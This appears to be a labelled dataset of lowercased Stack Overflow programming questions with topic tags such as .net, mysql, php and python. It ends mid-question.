is there a build setting for .net applications to cut out class members that aren t referenced   i was thinking about how wasteful of memory some classes are and i m wondering if there is a build setting that says to the compiler   <blockquote>    hey compiler         these assemblies in this solution aren t going to be used by anyone else. i promise. so feel free to strip out class members that aren t used to save memory!        cheers         the build settings  </blockquote>   for example  say we have this class   <pre><code>class foo {     int32 woo;     int32 hoo;     somereallybigclassthatnevergetsreferenceinthisassembly wasted; } </code></pre>   is there a setting to turn it into this in the output assembly    <pre><code>class foo {     int32 woo;     int32 hoo; } </code></pre>   and can this be done with .net framework classes     edit: i should have been more clear. i am interested in whether or not a feature like what i describe above can be used with .net framework assemblies (assemblies i don t have the source for).,.net
sql search between 2 dates  hi i have a database table with date of different dates and year..    i used this code  <strong>select * from salesinvoice where date between  01/01/2015  and  01/31/2015 </strong>    but the output has a jan 2014 dates     what could be the problem thanks for the advice,mysql
show the data from session to label  i used    <pre><code>session[ empname ] = convert.tostring(request.querystring[1]); lblemployeename.text = session[ empname ].tostring; </code></pre>   to show the data in label from session but it shows following error:   <blockquote>    cannot convert method group  tostring  to non-delegate type  string .  </blockquote>   tell me any solution...,.net
is  on update  specific for timestamp cols   is <code>on update</code> specific for <code>timestamp</code> cols     when i use it on cols with other types it causes a syntax error.,mysql
objectparameter in the system.data.objects namespace with international characters  i m trying to use objectparameter in the system.data.objects namespace.    this one does work: new objectparameter( test   1) this one throws an error: new objectparameter( täst   1)    the problem is when the first parameter includes swedish characters like å  ä  ö. i get the following error message: the specified parameter name  täst  is not valid. parameter names must begin with a letter and can only contain letters  numbers  and underscores. parameter name: name    why doesn’t this work  it seems strange if international characters are not supported!    /s,.net
asp.net custom error except 404 errors   i have setup custom error as follows..   <pre><code>protected void application_error(object sender  eventargs e) {     exception ex = httpcontext.current.server.getlasterror();     if (ex is httpunhandledexception &amp;&amp; ex.innerexception != null)         ex = ex.innerexception;     if (ex != null)     {         try         {             logger.log(logeventtype.unhandledexception  ex);         }         catch         { }     }      httpcontext.current.server.clearerror();     response.redirect(mycustomerror);  } </code></pre>   i am wondering if it is possible to detect if this error is a 404 error  and then show the default 404 error,asp.net
python  re-entering the `with` block  i am currently working on an import script that import listings from a database that regularly shuts down every 15 mins for re-snap.    i have created a <code>with</code> block as below to look after the retry mechanism when creating connections:   <pre><code>class dbretrycontroller(object):     conn_obj = none     connection = none     cursor = none     retry_count_down = none     sleep_time = none      def __init__(self  conn_obj  retry_count_down=5  sleep_time=10):         self.conn_obj = conn_obj         self.retry_count_down = retry_count_down         self.sleep_time = sleep_time      def __enter__(self):         ex = none         while self.retry_count_down &gt; 0:             try:                 if hasattr(self.conn_obj   __call__ ):                     self.connection = self.conn_obj()                 else:                     self.connection = self.conn_obj                 self.cursor = self.connection.cursor()                 self.retry_count_down = false             except operationalerror as ex:                 log.warning( caught db error  possibly due to sql server gone away  retrying in a few moment )                 self.retry_count_down -= 1                 time.sleep(self.sleep_time)         if ex:             raise ex         return self.connection  self.cursor      def __exit__(self  type  value  traceback):         try:             self.cursor.close()             self.connection.close()         except:             pass          if value:             raise value </code></pre>   and use as below:   <pre><code>with dbretrycontroller(self.connection) as (_  cursor):     cursor.execute(self.listing_query) </code></pre>   but the problem is the server can shutdown during execution of the query  is it possible to modifying the <code>dbretrycontroller</code> to make the nested block of code to re-enter,python
assigning and printing from 2d arrays c <pre><code>/* program to calculate trip and plan flights */ #define trip 6  #define dest 1 #include &lt;stdio.h&gt;  int main(void) {   int type_num  cont_num  index  i  dest_code  trip_num  row  col;   int travelint[trip][dest]= {{0}};    printf( please enter the number of trips: );   scanf( %d   &amp;trip_num);   for (i=0; i &lt; trip_num ; i++)   {       printf( please enter destination code: );       scanf( %d   &amp;dest_code);         cont_num = dest_code / 10000;       type_num = dest_code/1000 - cont_num*10;        if ( (cont_num &lt;= 7) &amp;&amp; (cont_num &gt; 0) &amp;&amp;  (type_num &lt;= 5) &amp;&amp; (type_num &gt;=0) )           dest_code = travelint[i][0];         else           printf( invalid code\n );     }    printf( %2d   travelint[0][0]);      return 0;   } </code></pre>   i m having trouble printing from the array i m not sure if i m either printing it wrong or that the number isn t actually being assign in the array. i m still having trouble with the concept of assign values from input into the array..,c
how to set max length for ui-select-match  i am using  ui-select-macth  for adding multiple values. is there any way to set the maxlength of the text field that to be entered every time if yes  can you please help me .,angularjs
spacing in wp blog template   how do i get bulleted/numbered lists to have a space in between them as the default on a wp blog   so it doesn t show up as a big block like the image (and i don t have to go in manually and insert <code>&lt;br&gt;</code> in between them).    <a href= https://i.stack.imgur.com/fhnr1.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/fhnr1.png  alt= enter image description here ></a>,html
how to compare data from two databases  i have two databases for two different stores. they have the same tables and structure.     when i created the second one  i made a copy of the first one and i m pretty sure that i forgot to delete some data from the first one before i activated the second one.    now i need to find this data and delete it from db two because i have for example articles from store 1 in store 2 s database.     is there some easy way to identify the data that is in both databases,sql
merge columns into single cell  i create a table and what i want is to merge some cells in the last row to show the total or summary. i tried to put some css but it didn t work.    this the table i have.   <pre><code>&lt;table class= table table-bordered &gt;     &lt;thead&gt;         &lt;tr&gt;             &lt;th&gt;class&lt;/th&gt;             &lt;th&gt;a&lt;/th&gt;             &lt;th&gt;b&lt;/th&gt;             &lt;th&gt;total&lt;/th&gt;         &lt;/tr&gt;     &lt;/thead&gt;         &lt;tr&gt;             &lt;td&gt;1&lt;/td&gt;             &lt;td&gt;25&lt;/td&gt;             &lt;td&gt;27&lt;/td&gt;             &lt;td&gt;52&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;2&lt;/td&gt;             &lt;td&gt;24&lt;/td&gt;             &lt;td&gt;26&lt;/td&gt;             &lt;td&gt;50&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;                &lt;!-- merge --&gt;              &lt;td&gt;&lt;/td&gt;              &lt;td&gt;&lt;/td&gt;             &lt;td&gt;total&lt;/td&gt;                 &lt;!-- merge --&gt;             &lt;td&gt;102&lt;/td&gt;         &lt;/tr&gt;  &lt;/table&gt; </code></pre>   what i want is to merge the first 3  in the last row    how can i do that     thanks!,html
my aap crash on ios 7 when clicking on back button <pre><code>-(ibaction)back:(id)sender{  nsstring *path = [nsstring stringwithformat:@ %@%@   [[nsbundle mainbundle] resourcepath]  @ /dtmf-star.wav ];  //declare a system sound id systemsoundid soundid;  //get a url for the sound file nsurl *filepath = [nsurl fileurlwithpath:path isdirectory:no];  //use audio sevices to create the sound audioservicescreatesystemsoundid((cfurlref)filepath  &amp;soundid);  //use audio services to play the sound audioservicesplaysystemsound(soundid); [buttonback setimage: nil forstate:uicontrolstatenormal];  int size = [phoneurl length]; if (size&gt;0) {     phoneurl = [phoneurl substringtoindex:size-1]; } dsptext.text = phoneurl;  } </code></pre>   this i have done..i am able to delete one digit but if there is more than one digit application get crash... it is working fine in ios6.,objective-c
.csv to ms word/excel/pdf reporting tool for .net  is there any open-source free tool to export .csv data to ms word or excel or pdf  it should also effectively generate a multi-page report.,.net
php session in different folder  problem php session in different folder.    i have problem with php session.     there are two folder: a and b when i already logged in folder a then i click link access to folder b when come to index.php file in folder a. it doesn t to recognize session state.    php code:   <pre><code>if(!isset($_session)) {        session_cache_expire (21900);     $cache_expire = session_cache_expire();       session_start(); } </code></pre>   how can i check session redirect     <pre><code>f(!isset($_session[ a ])){     redirce to a }  f(!isset($_session[ b ])){     redirce to b } </code></pre>   best regards,php
keyup vs keydown for enter-detection in .net <ul> <li>i have a textbox</li> <li>user enters some value</li> <li>user presses enter</li> <li>system does some stuff</li> </ul>   a pretty standard sequence of actions and i was wondering whether to use the keydown or keyup-event. now  almost all examples i found on this  used the keydown event to detect whether the enter-key has been pressed. however  according to <a href= https://stackoverflow.com/questions/1367700/whats-the-difference-between-keydown-and-keypress-in-net >this article</a>  the keydown event is triggered multiple times when a key is held down for a while. which raises my question: why would i use keydown  my event will be triggered multiple times if the user accidentally holds down the enter-key  which is not something i want.    is there some reason why i would use keydown over keyup,.net
query by specific day asp.net c# <blockquote>    i have a grid view. under this  i have used some parameter like   @lhnoofoverdueemi and @lhdisbdate. i want to query by grater than or   equal value of @lhnoofoverdueemi and equal to value of specific day   value of any month or year from @lhdisbdate. all are details below:        page.aspx  </blockquote>  <pre><code>&lt;asp:sqldatasource id= dsgvreclist  runat= server   connectionstring= &lt;%$ connectionstrings:optimawebcustomerquerycon %&gt;   selectcommand= select lhid  lhacno  lhacname  lhintrate  lhdisbdate lhdrawingpower  lhtotaldisbamt  lhemi  lhnoofoverdueemi   lhuploaddate from dbo.tblloanhistory where (year(lhuploaddate) = year(getdate())) and (month(lhuploaddate) = month(getdate()))  and lhnoofoverdueemi      and  lhdisbdate        onselecting= dsgvreclist_selecting &gt; &lt;selectparameters&gt; &lt;asp:controlparameter controlid= txtnoofoverdue  name= lhnoofoverdueemi  propertyname= text  /&gt;  &lt;asp:controlparameter controlid= txtemidate  name= lhdisbdate  propertyname= text  /&gt;   &lt;/selectparameters&gt; &lt;/asp:sqldatasource&gt; </code></pre>  <blockquote>    c#  </blockquote>  <pre><code>protected void dsgvreclist_selecting(object sender  sqldatasourceselectingeventargs e) { if (txtemidate.text.length == 0) e.command.parameters[ @lhdisbdate ].value =  % ; else e.command.parameters[ @lhdisbdate ].value = txtemidate.text; if (txtnoofoverdue.text.length == 0) e.command.parameters[ @lhnoofoverdueemi ].value =  % ; else e.command.parameters[ @lhnoofoverdueemi ].value = txtnoofoverdue.text; } </code></pre>,asp.net
javascript variable not defined error  i have the following code:   <pre><code>// get combination prices var combid = $( #idcombination ).val(); var combinationsfromcontroller; var combination = combinationsfromcontroller[combid];  if (typeof combination ===  undefined )     return;  // set product (not the combination) base price var basepricewithouttax = +productpricetaxexcluded; var basepricewithtax = +productpricetaxincluded; var pricewithgroupreductionwithouttax = 0; </code></pre>   when i execute it  chrome always complaints that:   <pre><code>combinationsfromcontroller is not defined. </code></pre>   can anyone help me why is this happening      i tried:   <pre><code>var combinationsfromcontroller = new array(); var combination = combinationsfromcontroller[combid]; </code></pre>   with no luck.,javascript
set nsmutablearray to the new nsmutablearray <pre><code>@implementation rightviewcontroller{     nsmutablearray * tablearray; }  @synthesize tableview;  - (void)viewdidload {     [super viewdidload];     tablearray = [[nsmutablearray alloc] init]; }   - (void)refreshtable: (nsmutablearray*)resultsarray{     [tablearray setarray:resultsarray];         nslog(@ resultsarray : %d : %d   [tablearray count]   [resultsarray count]);      [self.tableview reloaddata]; } </code></pre>   it shows me :  resultsarray : 0 : 78    why can t i set information to this array   i do call refreshtable from another controller like this:   <pre><code>[[[rightviewcontroller alloc] init] refreshtable:resultsarray]; </code></pre>   <strong>updated:</strong>    <pre><code>tablearray = [nsmutablearray arraywitharray:resultsarray]; </code></pre>   worked for me.    after that i do   <pre><code>- (ibaction)reloadtablebutton:(id)sender {     [self refreshtable:tablearray]; } </code></pre>   and it s shows me : resultsarray : 0 : 0    why  is tablearray array empty,objective-c
sql query to copy a row using substring   md5  base convert  and concat  i have two bigint columns called <code>first_half</code> and <code>second_half</code> and an empty column called <code>new_column</code>.    i would like the <code>new column</code> to be a bigint column that is the first 16 characters of the base converted md5 (from base 16 to base 10) of the concatenated string versions of those <code>first_half</code> and <code>second_half</code> bigints.     i realize that s a lot to say in one sentence.    here is the sql query that i d like to run:   <pre><code>update mytable set new_column = substring(conv(md5(concat(convert(first_half  varchar(50))  convert(second_half  varchar(50))))  16  10)  0  16); </code></pre>   the problem with this is  i either get a value of <code>0</code> for all columns  and identical value for all columns like <code>1234567890123456</code> (should be different values for all columns  because the <code>second_half</code> is mostly unique)  or (at this point) a syntax error that i can t figure out.    can anyone help me out with this  i feel like this shouldn t be difficult  but i m really tripping over it today.,mysql
how to display thumbnail image with article header   i would like to display an image with my news header.(website  like.lt you can check it out) currently in home page i can display only header and short description  once u click on the header you are able to read full article and see image.so i would like to be able to show  same image in the home page  this is a index.php part wich displays articles: that s the article.php   <pre><code>&lt; php  include( config.php );  //create site settings variables             $sitequery =  select * from settings; ; $siteresult = mysql_query($sitequery $connection) or die(mysql_error()); $siteinfo = mysql_fetch_array($siteresult); $siteurl = $siteinfo[ url ];  $article = $_get[ id ];        if (!is_numeric($article)) {           header( location:  .$siteurl);       }      else      {     $sitequery =  select * from settings; ; $siteresult = mysql_query($sitequery $connection) or die(mysql_error());     //create site settings variables         $siteinfo = mysql_fetch_array($siteresult); $sitetitle = $siteinfo[ title ]; $siteurl = $siteinfo[ url ]; $sitecomments = $siteinfo[ comments ]; $commentmod = $siteinfo[ commentmod ];  $query =  select * from articles where status=0 and id =  .$article;  $articleresults = mysql_query($query $connection) or die(mysql_error()); $num_results = mysql_num_rows($articleresults); $articleinfo = mysql_fetch_array($articleresults);  if (!$num_results) {     header( location:  .$siteurl); }      //get article info   $id = $articleinfo[ id ]; $authorid = $articleinfo[ authorid ]; $date = strtotime($articleinfo[ date ]); $artdate = date( m/d/y   $date); $categoryid = $articleinfo[ categoryid ]; $title = stripslashes($articleinfo[ title ]); $body = stripslashes($articleinfo[ body ]); $resource = $articleinfo[ resource ];      //meta info $cathead = 0; $metatitle = $title.  -  ; include( header.php );  include( sidebar.php );    if ($seourls == 1) { $scrubtitle = generate_seo_link($title); }       // setup the article template $articletemp = new template( templates/ .$template. /article.tpl );      // get author info $authorquery =  select * from authors where id= .$authorid; $authorresult = mysql_query($authorquery $connection) or die(mysql_error()); $authorinfo = mysql_fetch_array($authorresult); $authorname = $authorinfo[ displayname ]; $authorbio = $authorinfo[ bio ]; $gravatar = $authorinfo[ gravatar ]; if ($seourls == 1) { $scrubauthor = generate_seo_link($authorname); }      // get category info $catquery =  select * from categories where id= .$categoryid; $catresult = mysql_query($catquery $connection) or die(mysql_error()); $catinfo = mysql_fetch_array($catresult); $categoryname = $catinfo[ name ]; $catparent = $catinfo[ parentid ]; if ($seourls == 1) { $scrubcatname = generate_seo_link($categoryname); }      // if the category doesn t have a parent if ($catparent == null) {     if ($seourls == 1) { // with seo urls         $displaycat =  &lt;a href=\  .$siteurl. /category/ .$categoryid. /                        .$scrubcatname. /\ &gt;&lt;b&gt; .$categoryname. &lt;/b&gt;&lt;/a&gt; ;     } else {         $displaycat =  &lt;a href=\  .$siteurl. /category.php id= .$categoryid                       . \ &gt;&lt;b&gt; .$categoryname. &lt;/b&gt;&lt;/a&gt; ;     }     // if the category does have a parent } else {     $query =  select * from categories where id= .$catparent;     $result = mysql_query($query $connection) or die(mysql_error());     $info = mysql_fetch_array($result);     $parentname = $info[ name ];     if ($seourls == 1) { $scrubparent = generate_seo_link($parentname); }      if ($seourls == 1) { // with seo urls         $displaycat =  &lt;a href=\  .$siteurl. /category/ .$catparent. /                      .$scrubparent. /\ &gt;&lt;b&gt; .$parentname. &lt;/b&gt;&lt;/a&gt; &gt;                        &lt;a href=\  .$siteurl. /category/ .$categoryid. /                        .$scrubcatname. /\ &gt;&lt;b&gt; .$categoryname. &lt;/b&gt;&lt;/a&gt; ;     } else {         $displaycat =  &lt;a href=\  .$siteurl. /category.php id= .$catparent                       . \ &gt;&lt;b&gt; .$parentname. &lt;/b&gt;&lt;/a&gt; &gt;                         &lt;a href=\  .$siteurl. /category.php id= .$categoryid                        . \ &gt;&lt;b&gt; .$categoryname. &lt;/b&gt;&lt;/a&gt; ;     } }      // add a view to this article $query =  select * from articleviews where articleid =  .$article; $results = mysql_query($query $connection) or die(mysql_error()); $viewinfo = mysql_fetch_array($results); if ($viewinfo == null) {     $sql =  insert into articleviews values ( .$article.   1) ;     $query = mysql_query($sql); } else {     $totalviews = $viewinfo[ views ];     $totalviews++;      $sql =  update articleviews set views= .$totalviews.  where `articleid`= .$article.  ;     $query = mysql_query($sql); }  if ($seourls == 1) { // with seo urls     $authorlink =  &lt;a href=\  .$siteurl. /profile/ .$authorid. / .$scrubauthor. /\ &gt;&lt;b&gt; .$authorname. &lt;/b&gt;&lt;/a&gt; ; } else {     $authorlink =  &lt;a href=\  .$siteurl. /profile.php a= .$authorid. \ &gt;&lt;b&gt; .$authorname. &lt;/b&gt;&lt;/a&gt; ; }      // setup all template variables for display  $articletemp-&gt;set( authorname   $authorname); $articletemp-&gt;set( authorlink   $authorlink); $articletemp-&gt;set( date   $artdate); $articletemp-&gt;set( displaycat   $displaycat); $articletemp-&gt;set( views   $totalviews); $articletemp-&gt;set( title   $title); $articletemp-&gt;set( body   $body); $articletemp-&gt;set( gravatar   $gravatar); $articletemp-&gt;set( resource   $resource);  // for the adcode $query =  select * from adboxes where id=1; ;  $result = mysql_query($query $connection) or die(mysql_error()); $info = mysql_fetch_assoc($result); $articletemp-&gt;set( 250adcode   stripslashes($info[ adcode ]));    // outputs the homepage template!  echo $articletemp-&gt;output();    //displays the comments -- if admin has them enabled  if($sitecomments == 0) { echo  &lt;br/&gt;&lt;h2&gt;comments&lt;/h2&gt; ;  require_once  comments/classes/comments.class.php ;  /* article id which shows the comments */ $post_id = $article;  /* level of hierarchy comments. infinit if declared null */ $level = null;  /* number of supercomments (level 0) to display per page */ $supercomments_per_page = 10000;  /* moderate comments  */ if ($commentmod == 0) {     $moderation = true; } else {     $moderation = false; }  # setup db config array # $db_config = array( db_name  =&gt; $db_name      db_user  =&gt; $dbusername      db_pass  =&gt; $dbpassword      db_host  =&gt; $server );  # create object of class comments $comments = new comments($post_id  $level  $supercomments_per_page  $moderation  $db_config);  # display comments # echo $comments-&gt;getcomments(); }  include( rightsidebar.php );  include( obinclude.php );       }       &gt; </code></pre>,php
android: how to make a listview that looks similar to preferences   i do not want to use the framework provided preferences  rather i would like to create a listview that looks similar.  in particular  i would like it to use the same font size and style for the textviews.,android
"<a> takes on alignment of   within <div>  html noob here. i m trying to make a division that contains some ordinary text and a download button. i ve got a paragraph for the normal text and an anchor with an image for the button. for some reason  the button wants to take the same alignment as the paragraph. i have this code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>p {
   color: #fff;
   font-family: helvetica;
   font-size: 16px;
   text-align: left;
   line-height: 24px;
   margin-bottom: 0;
   -webkit-font-smoothing: antialiased;
 }
 a {
   text-align: right;
 }
 #downloadtext {
   width: 360px;
   position: fixed;
   bottom: 0px;
   right: 10px;
   font-weight: bold;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= downloadtext &gt;
   &lt;p&gt;in the meantime  would you like to download a fun bubbles game for linux &lt;/p&gt;
   &lt;p&gt;
     &lt;a href= /resources/bubbles_installer.sh  download&gt;
       &lt;img src= /resources/download-button.png  alt= download button  height= 80  width= 200 &gt;
     &lt;/a&gt;
   &lt;/p&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     both the paragraph and the anchor end up aligned left. why would this be  (note: if i change paragraph to align right  both will align right.) thanks in advance!",html
why is this mysql query causing an error   query:   <pre><code>insert into `metadata` (`group_id`  `key`  `value`)  values ( 19    originality    2 )  on duplicate key update (`group_id` = `19`  `key`=`originality`  `value`=`2`) </code></pre>   the table:   <pre><code>group_id | key | value ---------------------------------------- </code></pre>   <code>group_id</code> and <code>key</code> both have a <code>unique</code> index.    the error happens when i try to run the query when a row already exists with the id 19. the way i want the query to function is  if there is no row with that id  insert it and if there is update it instead of inserting a new row.    the error message i get is the typical:    <img src= https://i.stack.imgur.com/61wkm.png  alt= enter image description here >,mysql
destroy doesn t destroy  i ve 3 models <code>user</code> <code>formation</code> &amp; <code>achat</code><sup>(let s translate to a sort of <em>billing</em>)</sup>.    a <code>user</code> cand buy a <code>formation</code>  it will create an <code>achat</code>. for reasons i need to delete one <code>achat</code>. but i didn t succeed. i tried the following work-flow to check my code:   <pre><code>irb(main):048:0&gt; u.achats.length =&gt; 1 irb(main):049:0&gt; u.achats.first.destroy!    (0.1ms)  begin    (0.1ms)  commit =&gt; #&lt;achat id: 8  formation_id: 14  created_at:  2015-06-29 16:08:39   nom_formation:  foo   prix: 0.0  quantite: 1  chapitre_id: nil  user_id: 10  taux_commission: 35  updated_at:  2015-06-29 16:08:39   numero_facture: nil  bon_reduction_id: nil&gt; irb(main):050:0&gt; u.achats.length =&gt; 1 </code></pre>   so it isn t deleted from the database. how should i destroy the <code>achat</code>    <hr>   here are a (simpler) version of my models:   <pre><code># coding: utf-8 class user &lt; activerecord::base   rolify :role_cname =&gt;  role    # include default devise modules. others available are:   # :confirmable  :lockable  :timeoutable and :omniauthable   devise :database_authenticatable  :registerable           :recoverable  :rememberable  :trackable  :validatable    #tous les achats de cette utilisateur   has_many :achats   #toutes les formations achetés par cet utilisateur   has_many :formations  :through =&gt; :achats end   #classe liant une formation à un utilisateur class achat &lt; activerecord::base    #lien vers l utilisateur qui a acheté cette formation   belongs_to :user   #appartient à la classe formation   belongs_to :formation  end  #classe récupérant les différentes informations liées à toutes les formations présentes pour le site class formation &lt; activerecord::base    #auteur de cette formation   belongs_to :user    # gestion de la relation pour l achat   has_many :achats    #si la formation est publique alors on ne fait que changer le statut et la date de suppression   #si la formation n a jamais été publié  alors on la supprime totalement de la base   def destroy     #si la formation est déja supprimée on bloque la chose     if(self.status.id == 3)       return formation_deja_supprime     else       update_attribute(:status  status.find(2))     end   end    # gestion de la suppression d un produit   def delete!     update_attribute(:datesuppression  time.now)   end end </code></pre>   i ve been through this question: <a href= https://stackoverflow.com/questions/19647519/dependent-destroy-doesnt-work-has-many-association >dependent: :destroy doesn t work (has_many association)</a> but it didn t helped...,ruby-on-rails
i have opened .xcworkspace and when run application am getting clang: error: linker command failed with exit code 1 (use -v to see invocation)  duplicate symbol _gtmnsdictionaryurlargumentsexporttosuppresslibtoolwarning in:     /users/varshana/library/developer/xcode/deriveddata/lodore-axtsfmjdyxbqyccujoquacrynsxv/build/products/debug-iphonesimulator/googletoolboxformac/libgoogletoolboxformac.a(gtmnsdictionary+urlarguments.o)     /users/varshana/documents/lodore final stage/googlesignindependencies.framework/googlesignindependencies(gtmnsdictionary+urlarguments_aec9c2446af4c2ac5a7380b418b337ea.o) duplicate symbol _kgtmoauth2webviewkey in:     /users/varshana/library/developer/xcode/deriveddata/lodore-axtsfmjdyxbqyccujoquacrynsxv/build/products/debug-iphonesimulator/gtmoauth2/libgtmoauth2.a(gtmoauth2authentication.o)     /users/varshana/documents/lodore final stage/googlesignindependencies.framework/googlesignindependencies(gtmoauth2authentication_ad53759ab562393658e6c193e56628dd.o) duplicate symbol _kgtmoauth2errorrequestkey in:     /users/varshana/library/developer/xcode/deriveddata/lodore-axtsfmjdyxbqyccujoquacrynsxv/build/products/debug-iphonesimulator/gtmoauth2/libgtmoauth2.a(gtmoauth2authentication.o)     /users/varshana/documents/lodore final stage/googlesignindependencies.framework/googlesignindependencies(gtmoauth2authentication_ad53759ab562393658e6c193e56628dd.o),objective-c
how do i read the next line then call a function   i have a simple problem where i am supposed to read (line by line) from a text file and organize the input into separate arrays for digits/symbols/uppercase/lowercase. i created 2 functions  one that gets characters and stores them into their respected arrays  and another which sorts them (bubble sort). my problem is that i cannot figure out how to call the two functions for every new line.,c
can i declare a variable of a  protocol  type in an objective-c interface   my idea is very similar to declare a variable of an interface type in java.    so for example      header file 1:   <pre><code>@protocol calculator  @end </code></pre>   i then define an <code>@interface calculatorimpl</code> which implements the above <code>calculator</code> protocol.    in header file 2:   <pre><code>@interface someviewcontroller : uiviewcontroller {   }  @property (weak  nonatomic) iboutlet uitextfield *txtresult; @property (weak  nonatomic) calculator* calculator;  @end </code></pre>   however  the xcode will flag an error at the calculator line   <pre><code>property with  weak  attribute must be of object type  </code></pre>   is this  usage of protocol disallowed by objective-c,objective-c
not able find location on iphone device  i have added code for finding location  this is working on simulator but it is not working on iphone device. i have enabled the location services but still it is not working.   <pre><code>-(void)firsttimerefresh {  cllocation *bestlocation = [[[appdelegate getappdelegate] locationmanager] bestlocation]; if ( bestlocation != null) {     nslog(@ using best loaction );     [self getarray: [nsarray arraywithobjects: [nsnumber numberwithfloat:bestlocation.coordinate.latitude]                            [nsnumber numberwithfloat: bestlocation.coordinate.longitude]  nil] :@ false :page_no]; }  } </code></pre>,iphone
loading specific files from large data set in python  i have a directory with around 300 files  all of which are numbered. i want to load every 10th file (...10.nii  ...20.nii  etc.)  but am struggling to do so. is there an easy method to do this,python
how to enable camera in ios 7 device   how to enable camera in ios 7 device (not in ios8+) even after i click  don t allow  in camera access prompt,iphone
website <title> element max character length  just a little question.    how long can a website title be      <a href= https://i.stack.imgur.com/opi3z.png  rel= nofollow noreferrer >like this one:</a>,html
mysql how to use limit with select sum char_length  i have a column with simple words (only one word for each row) i need to extract from this column not more than 10 000 characters aprox. (9000 to be more safe) each time.    so i need <strong>one query to extract from 0 to 9000 characters</strong>    the <strong>next query to extract from 9000 to 18000 characters</strong> and so on...    i saw some like this but is for entire table   <pre><code>select sum(char_length(my_column)) from my_table; </code></pre>   can achieve that in mysql,mysql
asp.net: how to prevent double click of a button inside a listview  i would like to prevent double click of a button inside a listview and an updatepanel.  my source code is:    <pre><code>   &lt;triggers&gt;         &lt;asp:asyncpostbacktrigger controlid= btnsend  eventname= click  /&gt;    &lt;/triggers&gt; ...  ...  ...   &lt;asp:button runat= server  id= btnsend  text= send  commandname= writefunc  commandargument= &lt;%# eval( id ) %&gt;  onclientclick= this.disabled= true ;return true;  /&gt; </code></pre>   as you can see i use onclientclick .. but it didn t work. i suppose problem is the updatepanel and the asp:asyncpostbacktrigger.    thanks,asp.net
full screen inner shadow ios  i m wondering how i might be able to implement a full screen inner shadow effect  similar to when the uialertview pops up. is there an easy way to do this  is there an api to bring up just the shadow portion of an alert in ios  this is for ios 4.0 and above by the way.,ios
nsstring floatvalue seems to not be operating correctly  i have a text field in an xib file.  in a method in the .m file  i can print the contents of the text field  but i cannot get those contents converted to a float.  the text field is formatted with commas  as in 123 456 789. below is the code snippet  where datacellr2c2 is the textfield.   <pre><code>float originalvalue2 = originalvalue2 = [datacellr2c2.text  floatvalue]; nslog(@ datacellr2c2 as text --&gt; %@ &lt;---\n  datacellr2c2.text);  // this correctly shows the value in datacellr2c2 nslog(@ originalvalue2 = %f  &lt;--\n   originalvalue2);  // this incorrectly returns the value 1.0  </code></pre>   i would appreciate any suggestions for a fix or a direction where i should look for the problem.,ios
can’t figure out query and sub-queries  i’m having trouble figuring this problem out.  i’m doing some revision exercises for university and would like to understand this before my exam in 2 days.     i’ve attempted some things (which i’ll post at the end). please be kind  this is my first database subject so my attempts may seem very stupid to you.     the question is as follows: which artist/s has/have the largest number of shows on at the moment  show the first &amp; last name of the artist/s and their address. order by clause cannot be used. write a single sql statement. use sub-queries.    relevant tables in the database:   <pre><code>shows (showname  artistid  showstartdate  showenddate) artists (artistid  firstname  familyname  address  phonenum) </code></pre>   we assume artistid  showstartdate  firstname  familyname and address cannot be null.    now  i think that i have to count the number of shows each artist has on at the moment. then  get the artistid for the artist/s that has/have the most. use the artistid to retrieve the artist details (names and address).    i got as far as this (which is very wrong):   <pre><code>select firstname  familyname  address from artists where artistid = (select artistid                   from shows                   where artistid = (select max(counted)                                      from (select artistid  count(artistid) as counted                                     from shows                                     where showenddate is null                                     group by artistid)                   group by artistid)); </code></pre>   well  i know    <pre><code>select artistid  count(artistid) from shows where showenddate is null group by artistid </code></pre>   gives me a table with the count of how many times each artistid is listed.  which is good.  but from this results table  i need to get the artistid/’s of the ones that have the highest count.     and this is where i’m lost.    anyone can shed some light     (as for which dbms i am using: we have to use one created and supplied by the university. it’s very basic sql. simpler than access 2010).     thank you    (if you provide an answer [thank you thank you] could you also briefly explain the reasoning behind it ),sql
how frequently can a particular mysql row be updated before hitting lock contention   this is about row updates  not row insertion. are there any perf tests or even ballpark estimates for updates/sec before hitting contention issues  i ve looked on the web for examples and haven t really found much. thanks!,mysql
uncertainty about the use of nginclude  i render recursive template with nginclude. here is my code:    <pre><code>&lt;!--     definitionsrenderer.html --&gt; &lt;ul data-ng-if= currentloc.definitions &amp;&amp; templateisloaded &gt;     &lt;li ng-repeat= definition in currentloc.definitions &gt;         {{definition.text}}     &lt;/li&gt; &lt;/ul&gt; &lt;ul data-ng-if= templateisloaded &gt;     &lt;li ng-repeat= loc in currentloc.loc  ng-include=  ./partials/definitionsrenderer.html  &gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   i need code to be executed asynchronous. so for scope of every included template  i want to have a variable - templateisloaded with value false by default. when template is loaded and rendered it value to be true. how do that      best regards.,angularjs
load module from string in python  i have some code in the form of a string and would like to make a module out of it without writing to disk.    when i try using imp and a stringio object to do this  i get:   <pre><code>&gt;&gt;&gt; imp.load_source( my_module       stringio( print  hello world  )) traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; typeerror: load_source() argument 3 must be file  not instance &gt;&gt;&gt; imp.load_module( my_module   stringio( print  hello world  )      (        0)) traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; valueerror: load_module arg#2 should be a file or none </code></pre>   how can i create the module without having an actual file   alternatively  how can i wrap a stringio in a file without writing to disk     <strong>update:</strong>    note: this issue is also a problem in python3.    the code i m trying to load is only partially trusted.  i ve gone through it with ast and determined that it doesn t import anything or do anything i don t like  but i don t trust it enough to run it when i have local variables running around that could get modified  and i don t trust my own code to stay out of the way of the code i m trying to import.    i created an empty module that only contains the following:   <pre><code>def load(code):     # delete all local variables     globals()[ code ] = code     del locals()[ code ]      # run the code     exec(globals()[ code ])      # delete any global variables we ve added     del globals()[ load ]     del globals()[ code ]      # copy k so we can use it     if  k  in locals():         globals()[ k ] = locals()[ k ]         del locals()[ k ]      # copy the rest of the variables     for k in locals().keys():         globals()[k] = locals()[k] </code></pre>   then you can import <code>mymodule</code> and call <code>mymodule.load(code)</code>.  this works for me because i ve ensured that the code i m loading does not use <code>globals</code>.  also  the 